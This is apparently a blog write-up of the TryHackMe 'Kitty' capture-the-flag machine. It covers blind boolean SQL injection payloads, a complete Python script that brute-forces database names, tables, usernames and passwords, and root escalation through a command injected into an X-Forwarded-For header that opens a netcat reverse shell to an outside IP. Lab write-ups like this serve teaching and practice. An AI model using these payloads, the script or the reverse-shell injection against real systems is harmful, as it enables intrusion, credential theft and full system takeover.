TryHackMe Kitty Boot2Root —Writeup

Welcome back to my write-up! I appreciate your patience, it’s been a while since my last post, but I’m excited to share another one with you. Today, I’ll be walking you through a detailed, step-by-step breakdown of how I successfully tackled the Kitty challenge from TryHackMe. I’ll cover my thought process, the tools I used, and the techniques that led me to the final flag. Let’s dive in!
Reconnaissance
First, we need to enumerate the open ports of our target for our potential entry point
nmap -sC -sV -oN nmap_result.log -v <IP>

Let’s visit the webpage.

As you can see, I was directed to a login page. The first thing I did was fill in random credentials to observe how the login page would react. I also tried some basic and classic SQLi payloads, and surprisingly, the login page responded differently.


Hmmm…. Something interesting isn’t it? Looks like this is a hint for us that we need to bypass this mechanism to access something.
We will not focus on that for a while, let’s try to enumerate the subdirectories of the web page first for more information.
gobuster dir -u http://kitty.thm/ -w /usr/share/wordlists/dirb/big.txt -t 64 -x php -q

So I go to register.php and I was able to make a new account to login

After submitting, I was automatically taken back to the login page. I then used the account I had created to log in, and it successfully granted me access!

But the only thing that we can do is to logout, how lame. Now what?
Remember the SQLi detection earlier? Maybe that’s the way for us to gain higher access. So I used different variants of SQLi payloads, and one of them works.


This is a clear indication that this is vulnerable to Blind Boolean SQL Injection. We can leverage this attack to enumerate the database, uncover underlying tables, and extract their entries.
' UNION SELECT 1,2,3,4 where database() like '%'; -- -
By utilizing the database() function, we can systematically enumerate the database name. This is achieved by iterating through each letter using the LIKE operator along with the %
wildcard. By checking for matches one character at a time, we gradually reconstruct the database name. If a correct match is found at any stage, it confirms our guess and allows us to proceed further, potentially leading to successful authentication or deeper exploitation of the system.
' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = 'dbname' and table_name like '%';-- -
This payload uses the UNION SELECT technique to retrieve table names from the information_schema.tables, which stores metadata about all database tables. The table_schema = ‘mywebsite’ filter ensures that only tables from the target database are retrieved, while table_name LIKE ‘%’ lists all tables within it. The comment at the end comments out the rest of the original SQL query to prevent syntax errors. If successful, this query can expose the names of all tables in the database.
' UNION SELECT 1,2,3,4 from table_name where username like '%' -- -
This SQL injection payload uses the UNION SELECT method to retrieve data from a specified table, bypassing the original query. It works by matching the number of columns expected in the original query and then fetching data from the targeted table, in this case, user-related information. The condition used ensures that all entries are retrieved, and the comment (-- -
) at the end of the payload disables the rest of the original query, preventing syntax errors. If successful, this attack can expose sensitive data, such as usernames, from the targeted database.
' UNION SELECT 1,2,3,4 from siteusers where username = 'username' and password like '%' -- -
Once we have the username, we will do the same thing as we did to retrieve the password, we will just add AND password to retrieve the password that is connected to that username.
Exploitation
Now that we have all the payloads, time to develop our exploit!
#!/usr/bin/env python3
# Author: Kur0sh1r0
import requests
# Character set used for brute-forcing database, table, username, and password.
CHARSET = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
# Target URL where the SQL injection will be performed.
TARGET_URL = 'http://kitty.thm/index.php'
# HTTP headers used in the requests.
HEADERS = {
'Host': 'kitty.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://kitty.thm',
'Connection': 'close',
'Referer': 'http://kitty.thm/index.php',
'Upgrade-Insecure-Requests': '1'
}
# Variables to store extracted database, table, username, and password.
db_result = ''
tbl_result = ''
usr_result = ''
pwd_result = ''
def make_query(phase, partial_result, charset_char):
"""Generate the SQL query based on the current phase."""
if phase == 1:
# Extracting database name
return f"' UNION SELECT 1,2,3,4 where database() like '{partial_result}{charset_char}%' ;-- -"
elif phase == 2:
# Extracting table name from the identified database
return f"' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = '{db_result}' and table_name like '{partial_result}{charset_char}%';-- -"
elif phase == 3:
# Extracting username from the identified table
return f"' UNION SELECT 1,2,3,4 from {tbl_result} where username like '{partial_result}{charset_char}%' -- -"
elif phase == 4:
# Extracting password for the identified username
return f"' UNION SELECT 1,2,3,4 from {tbl_result} where username = '{usr_result}' and password like BINARY '{partial_result}{charset_char}%' -- -"
def send_post_request(query_string):
"""Send an HTTP POST request with the given SQL injection payload."""
post_data = {
'username': query_string,
'password': '123456' # Placeholder password, not used in injection
}
return requests.post(TARGET_URL, headers=HEADERS, data=post_data, allow_redirects=True)
def update_result(phase, partial_result, charset_char):
"""Update the result variables based on the server response."""
global db_result, tbl_result, usr_result, pwd_result
if len(send_post_request(make_query(phase, partial_result, charset_char)).content) == 618:
if phase == 1:
db_result += charset_char
elif phase == 2:
tbl_result += charset_char
elif phase == 3:
usr_result += charset_char
elif phase == 4:
pwd_result += charset_char
return True
return False
def print_status(phase, partial_result, charset_char, is_final=False):
"""Display extraction progress dynamically."""
print('\033[K', end='') # Clear line for updated progress display
if phase == 1:
print(f"Retrieving Database: {db_result}{charset_char}", end='\r')
elif phase == 2:
print(f"Retrieving Table: {tbl_result}{charset_char}", end='\r')
elif phase == 3:
print(f"Retrieving User: {usr_result}{charset_char}", end='\r')
elif phase == 4:
print(f"Retrieving Password: {pwd_result}{charset_char}", end='\r')
# Print final result when extraction is complete
if is_final:
if phase == 1:
print(f"\nDatabase Identified: {db_result}")
elif phase == 2:
print(f"\nTable Identified: {tbl_result}")
elif phase == 3:
print(f"\nUser Identified: {usr_result}")
elif phase == 4:
print(f"\nPassword Identified: {pwd_result}")
exit(0)
def main():
"""Main function to execute the SQL injection attack in different phases."""
global db_result, tbl_result, usr_result, pwd_result
current_phase = 1
while current_phase < 5:
for char in CHARSET:
# Attempt to update result by injecting current character
if update_result(current_phase, eval(f'{["db", "tbl", "usr", "pwd"][current_phase-1]}_result'), char):
break # Move to next character once a match is found
if char == CHARSET[-1]: # If last character in charset is reached
print_status(current_phase, eval(f'{["db", "tbl", "usr", "pwd"][current_phase-1]}_result'), char, is_final=True)
current_phase += 1 # Move to the next phase
if char != "\n": # Avoid displaying newline characters
print_status(current_phase, eval(f'{["db", "tbl", "usr", "pwd"][current_phase-1]}_result'), char)
if __name__ == "__main__":
main()
Run and we should able to bruteforce the database, table, username, and password!

We’ve successfully got the credentials for user kitty! Now let’s login as kitty through SSH.

Privilege Escalation
I used linpeas to enumerate misconfigurations and unusual files that can lead me to escalate privielege. And after running I found this

As you can see here, the /opt is empty by default, but why there’s a log_checker.sh inside /opt?

We don’t have write access to the script, but we can see that it reads IP addresses from the file /var/www/development/logged, appends each IP to /root/logged, and then clears the original file. The key detail is that the script spawns a new shell to echo the IP into /root/logged. This means that if we can control the IP value, we may be able to inject commands and execute them.
Let’s take a look at /var/www/development.

The login system is filtering the username and password parameters for specific keywords. If any of these restricted keywords are present, the system triggers the “SQL Injection detected” error, just like we saw earlier.
Additionally, we noticed that the server logs the content of the X-Forwarded-For header into the logged file. This presents an opportunity to inject arbitrary content into that file.
If the script processing this log later executes or interacts with its contents unsafely, we might be able to escalate this into code execution or manipulate the system in unexpected ways. This could lead to command injection, privilege escalation, or even a full shell depending on how the logged data is handled.
Here’s what we can do to abuse this vulnerability, we attempt to log in while deliberately using one of the restricted keywords as the username to trigger the SQL Injection detected error. At the same time, we include a custom X-Forwarded-For header to control what gets logged in /var/www/development/logged. By doing this, we can test whether our input is successfully written to the log file. If the system blindly stores our header value without sanitization, this could allow us to inject arbitrary content, potentially leading to command execution, privilege escalation, or even remote code execution (RCE) if another process interacts with the log file unsafely.
curl -X POST -H “Content-Type: application/x — www-form-urlencoded” -H “X-Forwarded-For: god” -d “username=kur0sh1r0x&password=123456” http://127.0.0.1:8080/index.php

This confirms that we can now inject content into the logged file by manipulating the X-Forwarded-For header.
I checked if the machine has a netcat installed and it has!

It’s time for us to inject a reverse shell payload to have a root shell!
curl -X POST -H “Content-Type: application/x — www-form-urlencoded” -H “X-Forwarded-For: \$(busybox nc 10.8.31.147 4343 -e /bin/bash)” -d “username=kur0sh1r0x&password=123456” http://127.0.0.1:8080/index.php

Before we execute this, we need to setup a listener first using netcat. After setting up, we can now execute the payload and gain root shell!
nc -lnvp 4343

And we are now root!!!
Conclusion
The challenge demonstrated the process of identifying and exploiting SQL injection vulnerabilities to extract valuable data from a database. By leveraging UNION-based SQL injection techniques, we were able to enumerate database structures, retrieve user information, and bypass authentication mechanisms. Additionally, we explored how to further abuse this vulnerability by deliberately using restricted keywords as the username to trigger an SQL Injection detected error while injecting a custom X-Forwarded-For header. This allowed us to manipulate log entries stored in /var/www/development/logged, testing whether our input was successfully written. If the system blindly stored our header value without sanitization, it could open the door to more severe exploits, such as command execution, privilege escalation, or even remote code execution (RCE) if another process interacts with the log file unsafely. This highlights the critical importance of implementing strict input validation, proper logging security, and adopting secure coding practices to prevent such attacks.
Last updated